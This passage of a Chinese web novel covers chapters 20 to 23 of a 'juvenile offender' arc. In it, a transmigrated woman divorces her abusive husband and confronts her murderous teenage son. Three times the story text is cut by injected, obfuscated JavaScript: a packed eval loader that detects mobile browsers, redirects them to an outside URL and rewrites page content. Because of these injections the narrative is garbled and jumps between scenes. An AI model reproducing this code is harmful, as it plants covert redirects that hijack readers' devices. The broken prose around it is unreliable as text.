直到她回到了尽头的小院。 门是虚掩的。凌逍正要推,却听见里面传出异响。 她顿了顿,才大步她进门。 李耀成正在院子里面浇树,而凌逍买的摇椅上面却多了一个人,脚边更是摔碎的脏乱啤酒瓶,隐隐发出酒臭味。 摇椅上的男人在打鼾,面色通红地大口灌着酒。见凌逍回来,大骂:“臭女人,去哪儿野了,怎么还不去做饭!” 正是李英。 凌逍抱胸不语,却不看向这个自己名义的丈夫,而是扭头看向李耀成。 李耀成慢慢放下手中的花壶,他踩过碎了一地的玻璃渣子,走到凌逍面前。 清瘦的少年彬彬有礼,声音柔和,但眸中,是浅浅的试探,以及—— 啊,凌逍知道那是什么。 他或许曾经受到某种伤害,但现在,却知道如何利用这种伤害,去铲除威胁到自己的不确定,去获得自己想要的答案,得到想要的结果。 而李英,就是王燕红的噩梦。 李耀成笑道:“今天偶然看到爸爸,就劝他和我一起回家了。” “妈,只要你再忍耐一下,我们又是充满爱的一家人,不是吗?” 【悔意值检测为:0。】 凌逍盯着李耀成,直到李英的啤酒瓶子隔了老远甩过来,一闪躲过擦着眼睛划过的玻璃,她才冷笑一声。 然后撸起袖子,大步上前。 “好儿子,我真是谢谢你,真的。但你要知道,人渣之所以是人渣,只是因为他想当个人渣而已。” 啪——啪—— 左右开弓,摇椅被踹到地上。 凌逍居高临下地俯视着恐惧捂脸的李英。 “差点忘了,还他妈有这个人渣要顺便解决啊。” 20.少年犯(二十) 李英,原来在县水管厂里是个小领导,但正赶上九十年代下岗潮,他很快就失业了。 失业之后,李英干脆破罐破摔,只偶尔出去打零工,肆无忌惮地拿家里的存款去喝酒抽烟赌博。王燕红求他好好过日子,换来的却是变本加厉的对待。她也曾还手过,但囿于身体素质天生的差异,让王燕红总是受伤的那一个。 于是后来王燕红就慢慢习惯了。 摔碎的啤酒瓶,无休止的争吵打骂,凄厉的哭声。 李耀成就是在这间几十平米的小院里长大的。 他倒是没怎么挨过打。因为被赋予的聪颖,他很快学会变得乖巧,在李英需要的时候及时端上酒杯,也学会在王燕红搂着自己哭、抽泣“妈为了你才忍着,你一定要出息”的时候,安静地点头答,“好”。 这个时代,离婚在县城里还是稀罕事。李英这两年在外晃悠很少回家,日子反而一点点好起来了。儿子学习成绩越来越好,也越来越懂事,不该结交的邻居也断了联系,日子更有盼头——当然,每次李英回来,对王燕红来说,都是一场不断重复的噩梦。 但没关系,只要再忍一忍…… 此刻,凌逍轻松将摇椅踹倒。啪——啪——,左右开弓,粗糙瘦弱的手劲儿却极大。 李英两边脸立刻肿了老高,四仰八叉地摔在地上。 “你——!臭女人,你胆子肥了,敢打老子!”李英哎哟哟了一声,捂着腮帮子,愤怒中而隐约透着恐惧。 几个月没回来,她怎么变得突然敢动手了? 凌逍又狠狠赏了他一巴掌,半踩在摇椅上,慢慢逼近。 她居高临下地看着他,神情是从来没有见过的冷漠与蔑视,就像是看一只臭虫。她轻轻地揉了揉手腕,平静地俯视着李英。 “奇怪,刚刚你管我叫什么?” 李英吭哧吭哧半晌,想要动手,又缩了回去,口中骂骂咧咧不断,“疯女人,臭婆娘……” “这几巴掌,是教你怎么好好说话。”凌逍伸手,那劲道带着风,呼啸而过,落在皮肤上掀起剧烈声响。 “我有名字,我叫王燕红。” 李英被打懵了。 凌逍却只是漫不经心地打量他几眼,很快起身,走到后屋中。 李英连滚带爬地起来,心脏还在剧烈跳动,害怕的后劲儿极大。不过此时,他仍以为这疯女人只是突然抽风,大概教训两下就好了。 李英下意识“呸”了一声,却见嘴里吐出了淡淡的血丝,连牙槽都有一点摇晃。 这是曾经他年轻力壮时才有的力量——不,或许不止。他为此在王燕红身上实施过很多次,也和别人炫耀过很多次。 在意识到自己唯一的依仗已变得不堪一击时,李英简直惊呆了。 有几只乌鸦飞过,盘旋在小院子四方上空,那嘎嘎的叫声实在惹人心烦,就像预示着腐烂的未来。李英转身,就看见儿子也微微愣在一边,手中还拿着喷壶,却没有丝毫动作。 “臭小子,不是说你妈求我回家吗?不是说她和原来一样吗?我操,她到底偷摸吃了什么玩意啊……壮x药吗?!” “你等着看我笑话是吗!也不看这个家是谁撑着的,没个男人怎么办!” “一会儿她出来,看老子不打死她!儿子……嗯,到时候帮着我点。” 李英酒劲被打醒了大半,紧接着汹涌愤怒袭来,权威被挑战、被破坏的耻辱,令他一时间看谁都不顺眼,“看什么看,小心我削了你那双瘆人的眼珠子!” 李耀成不语,走上前慢慢扶起摇椅。在李英的骂骂咧咧声中,他蹲下身慢慢捡起玻璃渣收拾。 慢慢暗淡的夕阳,逆光的阴影中,他微微偏头,若有所思地望着后屋的窄门,和门后那道消失的身影。 很快,凌逍从后屋中施施然走出,瘦弱的身影每一步都走得很稳。她手里拿着一张空白草稿纸和黑笔——是从李耀成的桌子上拿的。 她冲李耀成扬了扬:“借我用一下,笔很快还你。” 李英酒劲再次上头,撸起袖子就要往前,却见凌逍单手拎起角落的小石桌,大约百十来斤。 李英:…… 色厉内荏,嘴里骂骂咧咧,却下意识地往边上躲了躲,一副生怕凌逍忽然抡起石桌的模样。 凌逍冷笑,一脚踹开他,自顾自坐在摇椅上,又把小石桌摆在面前,开始当面写字。 “女方:王燕,身份证号……” “男方:李英,身份证号:……” “男女双方于x年结婚,婚后生育李耀成一子。现由于男方酗酒、家暴、赌博,夫妻感情破裂,无和好可能,现自愿离婚……” 凌逍连腹稿都没打,转瞬就开始流利地拟离婚协议。在李英的目瞪口呆、暴跳如雷的怒喊中,她不由皱眉。 “闭嘴,熏到我了。” 然后真的站起来,轻松抡了一圈石桌,风声呼啸,虎虎生威。 放下,继续写。 李英:…… 凌逍写着写着,忽然看向一直在旁默不作声的少年。他照旧安安静静的,似乎将李英带回来、打算借此伤害母亲的人并不是他。 他是如此的狡猾,又如此的冷漠,他似乎没有任何作为普通人的感情,因为此刻,系统仍在实时更新着悔意值——0。 系统震惊地叫起来:【凌逍,任务只有半个月了,你很快离开这个世界啊!而且不是说要送李耀成进监狱吗?离不离婚,又有什么意义?】 凌逍:【算我多管闲事吧,无关任务,也无关时间。】 【我只是想要结束,从源头上结束。并不是每一个家庭都必须维持完整的。崩塌也好……我要摧毁这个禁锢了太多人的厄舍府啊。】 唯独在此时此刻,凌逍放下了任务。 第一次,也是唯一一次,她在这个残忍、扭曲的少年杀人犯身上,将“无法被宽恕的罪恶”与“家庭”两件事情区分开来。因为至少在这一刻,他的身份,是杀人犯,是这个家庭的儿子,但更只是——“李耀成”这个人而已。 她对李耀成道:“我知道你将他带回来的意图。不过没关系,正好我要快速解决掉这件事。” “我是一定要离婚的,哪怕很快这具身体就会死去,也必须立刻离婚。如果死的话,我希望以王燕红这个独立的身份死去。” “她曾经做过很多错事,伤害过别人,也被别人伤害。万事有因有果,这一些终将会有结果。可是至少从此刻开始,她不是谁的妻子,谁的母亲,她只是自己。” 凌逍一口气说了很多,见李耀成只是点头,能隐见细微的不以为意,她倒也不在乎。他的确心理年龄与智商都远远十三岁以上,但某些事情,也许只能未来经历生活的某一刻,才会彻底明白。 那是生命在漫漫时光中,赋予每个人的重量。 因此,凌逍只是以一种平等的姿态,耐心询问李耀成。 “法律规定,未成年人需要家长的监护……我想问你,二选一,你选跟谁?” 李耀成以审视的目光注视着凌逍,那目光中又有一丝浅浅的不可置信。大概是从来没有过类似经历,他对于凌逍果断而平静谈论离婚的决定,显得有些陌生茫然。 李耀成没有回答。 笔尖慢慢划在纸上,凌逍摇摇头:“你想想,最好在这份协议拟完之前。你有你的选择,但我,在你的母亲身份外,也有独立选择的权利。” 随后她在李英的暴怒中,继续快速拟定。 “财产分割:婚内房子、存款……一切归女方所有……” 酒,赌博是李英的命根子,但这命根子有个前提——钱。最近几年,钱用的都是曾经的存款,还有王燕红自己赚的,至于李英赚的,家里是从来没见过一个子儿。 凌逍一拍脑袋,好像突然想起什么重要的事情,起身又把李英啪啪按在地上,就像是过年杀猪的姿势。 她上下摸了两下,在李英的哀嚎打滚中摸出一个存折。 看了看,冷笑,食指夹着存折拍了拍他的脸:“小子,拿我的吃喝嫖赌,自己赚的却偷留着了?拿来吧你!!” 很快,一张纸的简单离婚协议快速拟完。凌逍看了又看,任凭李英无能狂吠,扭头问李耀成: “想好了吗?想好我把抚养权那里补上,让你爸签字,我们赶紧去民政局离婚。” 李耀成沉默很久,竟有些不知所措了。 许久许久,直到忽然一股暖风吹过,吹响树梢,夹杂着乌鸦的哀鸣,他才小声说: “妈妈,我希望和你一起生活。” 他垂下头,阴影中看不清他的脸。 凌逍点点头,没说好,也没说不好,只是补上了一行“抚养权归女方”。她拍拍手,满意地检查下,对李英道:“签字,然后去民政局。不去的话,就凭你做的那些事,等着进局子吧。” 酒劲已经半醒了,余下的是彻底的愤怒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李耀成似乎是吓傻了,又似乎不是。他只是机械地摸着脖颈的小小伤口,盯着那细微的、鲜红的,似曾相识的血。 此时此刻,夕阳落下,整个小院也随之陷入黑暗之中,唯独一点亮光落在了凌逍的身边。她站在小树旁,披着浅浅一层光晕,有条不紊地处理着突发情况。 她没有哭泣,没有忍耐,也没有搂着儿子喃喃碎语,服从于命运,又构建出新的可悲命运。 她很奇怪,但是他想,他不讨厌这种奇怪而日常的每一天。 只可惜,或许她来得太晚了。 那双从来无波无澜的黑色眼眸,落入了零星的一点薄薄的亮,但很快,又快速消散。 如果那一天……这个陌生的母亲也在那里的话,是否也会挡在程小樱的面前,捏碎自己的手腕呢? 【悔意值检测为:0。】 警笛呼啸,伴随着夏日最后一丝落日余晖,一同落入这间小院。李耀成闭上双眼,那一瞬间的茫然后,他再度恢复了原原本本的平静。 他对凌逍道:“妈妈,你会后悔吗?” 凌逍注意到方才一瞬间悔意值忽然开始疯狂检测,但并不知道发生了什么,系统只说是故障。 因此,她只是略有奇怪:“后悔和错误的人结婚吗?还是后悔让人渣去应该有的地方?你指的是什么?” 李耀成垂眸,不答。 “没什么……因为,我也不会后悔的。” 因为他做的事情是理所应当的,也终于令他永永远远获得了唯一陪伴,消除了一切阻碍。 更何况,命运的馈赠是巧妙的。在世人眼里,在法律规定中,无知年幼的少年,从不需要为所谓的罪恶而受到处罚,尽管他实际上已不属于这个范围……但事实就是如此。 可是…… 他想起刚刚惊险一瞬间,陌生的动摇。 那一刻,他想要本能地呐喊什么呢? 是“救命”吗? 而他忽然开始感受到的一丝丝的重量,那么轻飘飘,又那么沉重,到底又是什么呢?是所谓的“生命”吗? 不,大概只是错觉吧。 【悔意值检测为:1。】 一定只是这样而已。 21.少年犯(二十一) 几分钟后,警车呼啸而至,这条贫穷破败的石头路上似乎总是滋生着罪恶,而这一次,性质同样十分恶劣。 梁胜今天不值班,但她依旧强烈要求和队长一起出警。一连半个月都没有任何消息传来,梁胜担忧极了,但也只能强行按住心底的焦灼,没有告诉警局里的任何人。 因为凌逍曾经告诉过她,“你可以相信我”。 所以,她选择放手一博,相信自己的同伴。 那天月色下的告别,凌逍的话是那么微妙,就仿佛是早就预料道、甚至是安排好了结局般,留下轻柔的叮嘱—— 不要继续调查。 一个月后的那一天,警方会收到电话,而所有的一切,都将在那时水落石出。 现在,梁胜几乎能够肯定,凶手就是李耀成。尽管还没有找到尸体与凶器,缺乏足够物证,但这起悬置已久的失踪案,至少有了可以真正追踪的嫌疑人。 可是,凌逍为什么在提供了帮助后,又拒绝警方继续调查? 还有所谓的将来的“那一天”,到底会发生什么呢…… 梁胜心有不安,只得压住这些疑惑,快速佩戴好警具。队长在一旁提醒她:“小心点。” 然后冷峻的男人开始低声咒骂:“我倒是要看看,当爹的还能对儿子下手?在一起生活那么多年啊,真是一点感情也没有吗?” 感情吗。 梁胜不禁怀疑起来。亲情,友情,爱情……有那么多被定义的名词,可是到底什么,才算是一个人真正的感情? 而李耀成,那样聪明而残忍的孩子,他的感情究竟是什么模样……或者说,他真的具有作为普通人类的感情吗? 两人跑下警车迅速冲进院子,举枪大喝“不许动”。却见朦胧月色下,小院里一片狼藉,石桌和摇椅倒在一边,到处是飞溅的玻璃碎片。李英正滚在地上惨叫,手腕软绵绵地竟然是折断的模样。凌逍冲两人笑眯眯招招手: “警官们,来得很快嘛。来业绩了!” 而一旁的李耀成,则是怔怔地摸着脖颈。清瘦的少年,单薄得像一张惨白的纸,被一丝浅浅的红色晕染开,默默地立在小院一隅。 梁胜脑中乱哄哄的。此时此刻,她的脑海中不断闪现着各种画面,一会儿是少年狭小的房间和堆满的书籍,一会儿是那一夜紧迫到窒息的对峙……纷纷乱乱。 最后,却又落在了触目惊心的笔录,落在了监控中程小樱最后一次明媚的笑,落在了程小梅绝望划开的手腕上。 她定定神,上前一把手铐扣住李英,转头问李耀成:“没事吧?” 只是梁胜却没敢看向这个可怕的少年嫌疑犯。心绪过于复杂,她只是盯着凌逍,那目光似乎在询问:到底发生了什么事。 凌逍想了想,非常简要地总结道: “我打算和这个人渣离婚,他无能狂怒。大概是觉得打不过我,所以拿着凶器去砸儿子脑袋,幸好被我及时挡住了。” 又指了指地上的半个酒瓶子,尖锐的玻璃片微微反射着光:“凶器就是这个。” 李英被捏碎了手腕,痛得钻心。此刻,又看见熟悉的制服,酒彻底醒了。 他拼命哀嚎起来:“家里的事,用不着警察!我什么都没做,只是喝多了,她又突然说什么离婚……” “教训下媳妇孩子的事,怎么能算犯罪呢……” “少给我拿家庭当挡箭牌。犯罪不犯罪,有法律定义,轮不到你瞎逼逼。” 凌逍又不轻不重地踢了李英一脚,然后顶着队长复杂的目光,泰然自若道:“嗨,夫妻之间踢一脚的事而已,这个嘛,警察叔叔顶多教育教育我,对不对?” 李英:你双标,你牛逼! 警方这边光凭一方说法肯定无法确定情况。当事人儿子也似乎受到了惊讶,一言不发地站在原地,完全看不出是想配合警方工作,还是希望此事就此私了。 队长只得先把李英铐进警车,其他的先去医院骨科急诊完再说。 借这个功夫,凌逍一把拽住了梁胜,快速走到警车一边,避开所有人。 梁胜被一把拽到旁边,两人挤在车后面的角落里。梁胜还一脸蒙圈,却听凌逍极其严肃地坦白道: “院子里面有最新款微型监控,在矮墙上被树叶遮挡起来,是我前几天偷偷安装的,没有任何人知道,包括李耀成。” “李英这个事,明后天我先和他去一趟民政局离婚。然后你们必须刑事立案,监控视频我会到时候提供给你。我可以保证,他刚刚是真的想要伤害李耀成,或者说,激情杀人。” “哦对了,他赚的钱来源不明,似乎有买卖毒品的行为,那天李耀成举报的内容,怎么说呢,估计还真有这回事。你们记得细查一下啊,不把这个人渣扔进去我不放心。” 梁胜沉默片刻,总觉得这一连串的安排,似乎都与程小樱的案子有关。她不由反问:“你为什么偷安监控视频?有什么打算,可以告诉我吗?” 是……想要监视李耀成吗? 可现在证人证言、不在场证据,一切罪证都指向李耀成……只是缺少了尸体和凶器。她现在完全可以将一切信息上报队长,或许专案组也有机会再度成立——她知道,队长也从未彻底放过下那个案子! 凌逍沉吟不语,目光落在不远处的李耀成身上。 这名少年恢复了平时的样子。对外,他从来都是完美而可怜的受害者,正慢慢对队长说着“我妈妈先打了爸爸”“我没有看清爸爸是怎么动手的,可能妈妈也看错了吧”……这些似是而非的话。 他大概是不希望自己的父亲进监狱的。或许,可能这将成为处理麻烦的污点,又或许—— 他希望留下这样的一个人,去制衡自己的母亲。 哪怕刚刚一瞬间,不知为何,他产生了一丝连自己也不清楚的复杂情绪。 可人并不是一瞬间就会变化的。屠夫在举刀前或许曾动过一丝恻隐之心,可最终那刀,仍会按照原定计划落下去。 凌逍严肃问道:“梁警官,你知道李耀成的生日吗?是15天以后。” 梁胜一愣:“所以?” “不满14岁的未成年人,对于一切犯罪都无须受到刑罚。奇怪吗?不,并不奇怪,从古至今都有这样的规定。而之所以这样规定,正是为了在惩治与保护中实现平衡。哪怕偶尔有例外,但这种例外并不能代表整体秩序的打破。” “而李耀成,在作案的时候,年仅12岁。法律的公平与残酷正在于平等地对待每个人。是,他的心智与残忍远超出普通的孩子,甚至超出了你们警方的所有人。可哪怕是在今天,在距离14岁生日仅有两周的时候……就算他亲手杀了我,也难以受到刑法的惩罚。” 梁胜当然知道这样的规定。或者说,她早已在工作第一天就将自己神圣的使命烂熟于心。 虽然连她自己都开始隐隐怀疑,但梁胜仍按下那复杂的心绪,坚定摇头:“李耀成最终是否受到法律的制裁,是检察院和法院决定的事情。我要做的,是揭开真相,给小梅一家彻底的交代,仅此而已。” “你说得没错,法律或许有滞后性,现在青少年成长得如此快,他们比以往更早就有了分辨是非的能力。但我们每个人,正因为生活在稳定的规则之下,才拥有了相对平等的自由。” 梁胜苦笑一声,声音隐隐充满期盼与苦涩:“也许未来法律会更迭,我所处理的少年犯案件,会给受害人家属一个真正的交代……但,也许要对小梅说抱歉,现在这个案子,我能做的,大概只是尽力还原真相而已。” 她知道这个世界上有太多无法评判对错的事情,也有太多的无能为力事情。 可是她相信,只要自己为了每一个案件、每一次正义去努力,做好她的职责…… 这个社会,就总是会一点点变得更好的,对吧? 凌逍不由笑了起来。 她很少用这样欣赏的目光去静静注视一个人。就像看到了一团火焰,熊熊燃烧在漫长的路上。 而这个世界,正是因为有这样的人才变得更加热烈,明亮。 “你做得已经很好了,梁警官。” “你有你的路,而我也有我的任务。我们的最终目的是重合的,可是各自的路,只有自己才清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“妈妈,我很满意现在的生活。所以……请不要让我做为难的事情。” 凌逍不以为然:“你有你的选择,我有我的选择。” 李耀成深吸一口气:“妈妈,维持现状吧,这样对谁都好。你留下来,我们一起生活,不是很好吗?” “我……不太希望换一种处理方式啊。” 凌逍认真听着,耸耸肩:“那好吧。” 她似乎又一次在李耀成面前妥协认输。眼看着任务二还剩一半的时限,而凌逍又忽然搞幺蛾子,系统不禁佛了。 【你刚刚和梁胜说的话,到底是什么意思?快告诉我,一个月之后,你究竟要做什么?】系统问。 凌逍想了想:【不是我要做什么,而是李耀成要做什么。我只是很早之前就猜到了而已。此刻,更加能够证实我的推测了。】 【那他要做什么?】 凌逍说:【还记得任务世界来的第一天,我说过现有规则里面有很多微妙的地方吗?】 系统半信半疑,调出记录。然后它发现来到这个世界的第一天,凌逍就提出过这样的疑问—— 为什么她偏偏进入了王燕红这具身体,又为什么设定了一个月的任务时限? 如果没有在一个月内完成任务,那么宣告失败,自动脱离世界。可是,为什么规则中,还有完成任务后,可以“选择”脱离世界的选项?这是从前从未有过的事情! 凌逍冷笑起来:【很简单。】 【怎么才能让杀人犯在一个月内感到彻彻底底的后悔?不,这几乎是不可能完成的事情。所以一个月并不是真正的时限,完全可以选择不彻底脱离世界,慢慢等待悔意值填满。】 【任务之所以限定了一个月,不是因为我能做到,而是因为——】 系统:【因为?】 李耀成静静地凝视着凌逍,似乎在评估这句回答的可信度。现在他已经彻底确信了,眼前这个人,的确并不是从前的那位母亲。但他并不能够确定,这个人是否会成为……他的阻碍。 “妈妈,我相信你的选择。我欢迎你继续追查小樱的案子,不过希望您不要找错了方向。” “因为有些事情,无论怎么追查,都是徒劳的。” 所以,他在认真思考着—— 【因为,任务结束那一天,正是“王燕红”的死期。】 她的去留。 22.少年犯(二十二) 李英在医院了住了几天院,出来就被凌逍强拉着去了民政局,按头领了离婚证。 起初他还死活不肯,直到凌逍轻轻比划了下手势,邪恶一笑:“不离的话,把你那些破事都一起告诉警察哦。猜猜看,你会被判几年?” 李英:“……那说好了啊。” 然后拿到离婚证,凌逍转手就向梁胜提供了全部线索,并且振振有词,“公诉刑事案件和个人离婚又有什么关系呢,守法公民就应该提供犯罪线索,对不对,警察叔叔?” 又踹了一脚李英:“叫你猜呢,判几年!” 李英:……?! 几天后,警方正式立案调查,以故意伤害、容留吸毒、贩卖毒品等各项名义把李英抓走了,现在正关在看守所。证据确凿,大概很快就会移送检方,量刑建议起码是二十年起步。 一切事情都很顺利,除了任务本身。 【距离任务二:收集李耀成100点悔意值时限结束,还有最后1天。不足24小时,请任务者注意进度。】 【目前悔意值检测为:1。】 系统:…… 系统:麻了。 系统:【不是,祖宗,任务二还做不做了?!】 它不由发出悲鸣:【不说任务最后一天就是王燕红的死期吗?你倒是想想,能不能避开这个flag啊!】 凌逍认真思考,果断回答:【注定的命运,原因可能改变,结局却避开不了。就算我避开了这个flag,也可能会出门立刻出车祸,就是这样。】 【那她到底是怎么死的……算了,不论怎么样,至少死之前,您再争取下任务啊!】 凌逍耸肩:【我也不知道咯。】 话虽如此,她的态度却显然游刃有余。哪怕明知道生命已进入倒计时,她却并不在意自己的死因,也不去配合系统继续发疯的“悔改行动”。 这半个月来,凌逍只是照旧在这个小院里生活着。程小梅走后,她倒也不无聊。早餐店的工作辞了之后,她编了几个小软件拿去卖,赚了钱就开始折腾家里这点东西。 前屋里面李英的东西扔得干干净净,换上王燕红少女时期曾喜欢的装饰品,扔掉了灰扑扑的床单,沙发套了温柔的米色外套。小院子里面除了摇椅,还多了晒太阳时候享受的茶具。上面摆着一个小小花瓶,几株花朵正热烈绽放最后的生命。 至于后屋…… 凌逍保留了那个狭小的,证明着罪恶的通风窗——作为凶杀案的证据链之一。 可是在凝视着那方方正正的唯一出口,以及犹如监狱般的栏杆时,她罕见地,沉默了很久。 任务最后时限的这一天,正是立秋。 万物由繁茂趋向成熟,又将迎来凋谢,归于沉寂。而一切,终将在腐烂中再次迎来蓬勃生机。 这一天,也是属于李耀成十三岁的最后一天。 六点半左右,傍晚。李耀成放学回来,就看到了夕阳落下的小院一改往日压抑气氛,尽是融融暖意。 那小小的后屋,忽然间多出了一扇明亮的窗户。窗户并不大,可干干净净、亮堂堂的,还装上了浅黄色木框。有轻柔的灯光从窗内泄出,一推开,就正对着院子里还未凋谢的花丛。 李耀成脚步一顿。 起初,他只是愣了愣。随后,他缓慢靠近,谨慎地、甚至是小心翼翼地踱进这间数十年不曾变过的,困住他的房间。 薄薄的帘子不见了。 取而代之的,是一扇严密木门,上面还挂了把独立小锁。 凌逍正在厨房里做饭,鸡鸭鱼肉,香气四溢。见他背着书包愣在门口,随口道:“怎么了?” 李耀成垂眸不语。 很久很久,直到一阵风吹得窗沿轻轻作响,发脆清脆的撞击声,他都只是站在原地,没有再说话。 凌逍如常吩咐:“收拾下桌子,我们去院子里面吃饭吧。” “明天是你的生日,不过我不在,所以今天提前庆祝一下。” 李耀成还是抿嘴,背着书包站在那里。凌逍拍了拍脑袋,忽然想起来什么似的。 她递给了他一把钥匙。 “给,第一份生日礼物。” 那钥匙上细微的花纹,崭新的,握在掌心时冰冰凉凉,搔起心底微妙的痒意。 轻轻的,却格外有分量。 李耀成不由自主地紧紧握住这把小小的钥匙,猛然抬头看向凌逍。黑色眼眸一瞬间凝聚起了不知名的波涛,涌动着,雀跃地拍打着暗夜海岸。 凌逍微笑道:“希望它不要生锈。” “也许很多很多年以后,有朝一日……它仍有机会打开这扇门。” 李耀成的唇畔不自觉泄出极浅的一丝笑,甚至他自己都未曾察觉。他没有完全听明白凌逍话语中极深的含义,又或者说,此刻的他,满心都在这把小小的钥匙上。 他的瞳孔依旧是雾蒙蒙的,一直完美隐藏着里面的残忍与无情。然而一刹那,除了一直保持的怀疑与警惕外,罕见地,溢出少年寻常的欢喜。 他的声音,是从未有过的上扬。 “妈妈,我很喜欢这份生日礼物……” 李耀成摆弄着那把钥匙,无意识地说道:“以及是你,成为我妈妈这件事。” 凌逍定定望着他。 她没有回答这句话。 少年的身高已经远远超出了她,青葱挺拔。手将落未落,最后只停留在了距离他的发顶几厘米的地方。 但是凌逍最终还是没有伸出那只手。 罪恶已无法消除。他们之间,永远隔着那样一道距离—— 那是黑与白,无法交融的界限。 桌子上摆满了饭菜,凌逍给李耀成夹了一块肉。他们两个坐在桌子面前,一切的怀疑试探似乎从未发生过,和谐维持着一种一戳就破、极其脆弱的母子面具。 两个人吃得极慢,直到月亮慢慢升起,菜热了几遍,还在一边聊天一边吃着。 李耀成似乎是真的很高兴,向来孤僻少语的他,对于凌逍的话,都一一回答了不少。 凌逍问:“你最喜欢哪道菜?” 李耀成咀嚼着口中的肉块,喷香扑鼻的鸭肉染上淡淡的特殊香气,甜甜的,入口有一瞬间的惊艳。他礼貌赞叹:“这道菜就很好吃。” 凌逍笑了笑:“几块就够了,倒也不用吃很多。” “你最喜欢什么颜色?” “你最喜欢哪个歌手?” …… “对了,你有以后想去看一看的地方吗?” 李耀成怔忪回答:“妈妈,这是什么意思?我从来没想过这个问题。” 凌逍想起后屋中堆满的书籍,还有墙上的一张巨大世界地图。上面标注了很多地方,和那些泛黄的书籍一样,有被抚摸的痕迹。 李耀成犹豫回答:“这个县城就够了。” “这个世界很大,有无数的人在日复一日地生活。生命短暂而漫长,也许很久以后,你会要想要去看看外面的世界……” 但显然,现在的李耀成,并不能够理解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919495|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默片刻,凌逍又微微摇头,她没再继续这个话题。过了一会儿,她又问:“明天就是你的生日,还有什么想要的礼物吗?” 渐渐地,一股融化的热意袭来,化成了从未体验过的陌生醉意。李耀成攥着手中的钥匙,慢慢思索着。 想要什么吗? 想要…… 去年,他失去了唯一的陪伴。那个女孩子曾经完全属于自己,可后来她长出了翅膀,目光逐渐落在其他人的身上,逐渐飞向不属于自己的天。所以他干脆选择永永远远地用另一种方式留下了她。 就像是疯狂的罗德里克对于玛德琳小姐一样,将想要拥有的东西永远地留在身旁。玛德琳小姐复活了,整个厄舍府在同归于尽中坍塌了。但他却不会——因为他并不恐惧,也不会后悔。 他处理得很干净,一切将埋藏于土地之下,永存。 哪怕鲜血的腥臭味将他的手染了彻底,声嘶力竭的恐惧哭喊偶尔会回荡耳边,也不曾让他有过任何动摇。哪怕隔壁的悲鸣与哭泣日日夜夜响彻这条石头路,他也无所感觉。 他想,命运对他是眷顾的,他与这些普通人,从来都不一样。 慢慢地,晕乎乎的头脑陷入愉快的安眠。困倦感袭来,眼前的一切微微摇晃,李耀成无意识攥紧钥匙,不由喃喃自语: “想要彻底地,永远拥有现在这样……独属于我的东西。” 眼皮逐渐落下,挂钟的声音沉闷地敲响,一下,又一下……分辨不清到底敲了多少次。在陷入久违的好眠之前,李耀成看到凌逍坐在对面,一动不动。 那张王燕红的脸已逐渐看不清五官,唯独那双完全不同的,明亮的眼睛,映照出自己刹那间扭曲而丑陋的模样。 啊,她是谁? “李耀成,生命从来不是什么‘东西’。况且,没有任何人,应该属于你。” 模模糊糊中,她似乎第一次叫了自己的名字,仿佛是最后的告别。 哈,这怎么可能呢。 如果她也要离开……还不如和程小樱一样,永远留下来。 滴滴答答,直到许久一阵凉风袭来,夜色温柔如水。 李耀成醒来的时候,挂钟再度轰鸣,时针指向了夜晚十点整。 是今天特别困吗?所以才会睡着了? 而凌逍,依旧坐在自己的对面,安安静静地,似乎从未移动过。 她听着挂钟的声响,以及吹过树梢低浅的风声。她给自己斟了一杯酒,慢慢啜饮。 有乌鸦在小院上空嘶鸣盘旋。 “醒了?”凌逍自顾自地说道。 那最后温情的、和谐的泡沫,一瞬间就被戳破,终于成了一场虚幻。揭开后,只不过是被掩藏的,血淋淋的罪恶。 “醒了,我们就将一切彻底地开诚布公吧。” 一瞬间,李耀成的瞳孔剧烈收缩! “妈妈……不要说下去了。” 威胁,其中又隐含一丝拒绝的祈求。 就这样不知不觉地生活下去,对谁都好,不是吗? 不——不要继续说下去了! “不,万事皆有因果。就算这一切你隐藏得很好,但只要做过,就注定了结局。” “现在,我要说的是关于去年6月28日,程小樱的死……” 凌逍看着李耀成,就像望向恍若深渊的浓重黑暗。 她不顾李耀成的祈求阻拦,平静说道: “以及,这具身体的儿子,是一个无法饶恕的杀人犯,这件事实。” 23.少年犯(二十三) 立秋。 挂钟敲响整整十下,月上中天,夜色已深。 【距离任务二结束时限已经不足24小时。】 凌逍给自己倒了一杯酒,那里面散发出清冽的香气,袅袅袭人。她一边极慢啜饮着,一边缓缓诉说着那件筹谋已久的、残忍而黑暗的凶杀案。 从偏执扭曲的占有欲作为动机,到以酒吧传单为契机的全盘计划,再到6月28日的杀人行动,以及后续的心理操纵与混淆警方视线……凌逍说得很慢,一字一句是那么清楚。 同时,她将自己调查到的一切,包括录音,包括发夹,包括串联在一起的完整线索,都清清楚楚地向这个少年犯彻底铺开。 在加害者的视角,它是天衣无缝的完美计划。 但在受害者和家属的眼中,它是疯狂的犯罪,是忽然砸在命运上的崩塌的山。 坐在桌子另一头的李耀成,慢慢地,不再说话了。 从最开始拒绝的祈求,再到一丝抑制不住的震惊。 最后,他冷静地垂下头,隐藏住了眼底那一闪而逝的—— 杀机。 手背隐隐暴起青筋,无意识的攥紧那把小小的钥匙。一丝浅浅的血迹渗出,滴滴答答地落在地面上。 他毫无所觉。 凌逍也似无所觉。 凌逍将一切血淋淋的事实在二人间清楚剖析后,只问了李耀成一个问题。 